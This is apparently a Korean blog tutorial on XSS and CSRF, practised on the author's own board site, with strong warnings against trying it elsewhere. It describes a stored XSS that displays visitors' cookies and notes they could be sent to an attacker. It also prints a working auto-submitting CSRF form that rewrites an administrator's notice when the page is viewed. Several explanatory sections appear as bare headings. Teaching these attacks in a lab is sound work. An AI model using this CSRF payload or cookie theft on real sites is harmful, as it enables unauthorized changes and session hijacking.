[XSS, CSRF] 기초와 웹페이지 공격 실습
읽기전에!! 주의사항!!
현재 실습환경은 직접 제작한 홈페이지 환경에서 취약점을 찾는 방식입니다. 외부 사이트가 아닌 제가 서버를 열어서 하는 실습입니다. 다른 외부 사이트에서 실습하시면 법척 처벌을 받으실 수 있으니 절대 따라하지 마세요
만약 처벌을 받게 되셔도 저는 미리 경고를 했기 때문에 저와는 무관함을 알려드립니다.
또한 이글을 읽고 실습을 따라하시는 것은 주의사항을 읽으셨다고 간주하여 본 블로거와는 관련이 없음을 말씀드립니다.
다시한번 말씀드리지만 일반 홈페이지에 절대 하지 마세요 범죄입니다.
XSS란?
XSS는 어떻게 쓰이는가?
혼동하지마세요!
간단한 XSS 예제
먼저 글을 작성해 줍니다. 제목은 많은 사람들이 볼 수 있게 최대한 자극적으로 했습니다.
script문을 작성하는데
alert 메시지가 뜨게 합니다.
쿠키의 정보를 떠버리게 하겠습니다 라는 뜻입니다.
그럼 cookie: 쿠키정보 가 나오게 되는 것입니다.
이렇게 글을 읽는사람(Client)의 쿠키값이 나오게 됩니다.
이것을 손보게 되면..
읽는 사람의 쿠키값을 공격자에게 보내지게 되서 공격자는 글을 읽은 클라이언트들의 쿠키값을 수집할 수도 있습니다.
쿠키란?
방지대책은?
CSRF를 실습해 봅시다
CSRF란?
실습 시나리오.
먼저 일반계정으로 로그인을 해보면 관리자가 게시글2번으로 제목을 해킹해 보라며 공지사항을 올렸습니다.
그래서 저는 관리자가 꼭 볼 수 있게 제목을 유도하여 글을 써줬습니다
코드 해석을 하기 전에 이것은 공지를 수정하는 것이기 때문에 게시글 수정의 페이지 소스를 먼저 봅니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | <html> <head> <title>BLUEWIND 게시판 글 수정</title> <link type="text/css" rel="stylesheet" href="all.css"/> </head> <body> <center> <table border="0" width="770"> <tr> <td width="600" valign=top> <form action="board_update_reg.asp" method="POST"> <table align="center" width=500 border="0"> <tr><td colspan=2 align=center><h3>게시물 변경</h3></td></tr> <tr> <td bgcolor="#80e12a" align=center width=15%> <font color="#495766">작성자</font> </td> <td width=85%> <input type="text" name="user" value="test"> </td> </tr> <tr> <td bgcolor="#80e12a" align=center width=15%> <font color="#495766">제 목</font> </td> <td width=85%> <input type="text" name="title" value="ㅂㅈㄷ"> </td> </tr> <tr> <td bgcolor="#80e12a" align=center width=15%> <font color="#495766">내 용</font> </td> <td width=85%> <textarea name="contents" rows="10" cols="60">ㅂㅈㄷ</textarea> </td> </tr> </table> <input type="hidden" name="idx" value="133"><br> <p align="center"> [<a href="board_list.asp">List</a>] <input type="submit" value="변경"> <input type="reset" value="취소"> </p> </form> </td> </tr> <tr> <td colspan=2 height=20></td> </tr> <tr> <td colspan=2 height=1 bgcolor=#558bc7></td> </tr> </table> </br></br> 나는 kos 입니다. </center> </body> </html> | cs |
html을 배우신분이라면 자신이 값을 바꿔야 할 부분만 잘 추려내실 수 있습니다
1 2 3 4 5 6 7 | <body onload="document.form_test.submit();"> <form name="form_test" action="board_update_reg.asp" method="POST"> <input type="hidden" name="user" value="관리자"> <input type="hidden" name="title" value="뿡빵이뿡빵"> <input type="hidden" name="contents" value="뿡빵이로 바꼈어요~!기분좋아"> <input type="hidden" name="idx" value="2"> </form> | cs |
추려낸 코드는 이렇습니다. 해석을 하자면
body onload 코드를 읽는순간 form_test라는 녀석이 submit 되게 해줍니다.
form의 이름은 form_test로 해주고 엑션은 수정으로 넣어줍니다(수정처리를 board_update_reg.asp단에서 처리해주기 때문입니다)
그리고 value값에 자신이 넣고싶은 값들을 넣어줍니다
idx는 글번호로 2번이면 2번의 값이 수정되고 4로 해주면 4번글이 수정됩니다.
그리고 관리자가 게시글을 읽게 되면 제목해킹! 이였던 공지사항이
이렇게 변하게 됩니다.
내용역시 제가 넣어준 value값에 맞게 변경되었습니다.
이런식으로 이루어지는 공격방법입니다.
실습은 자기 자신이 구축한 홈페이지를 상대로 하시거나 워게임을 통해 실습하시기 바랍니다.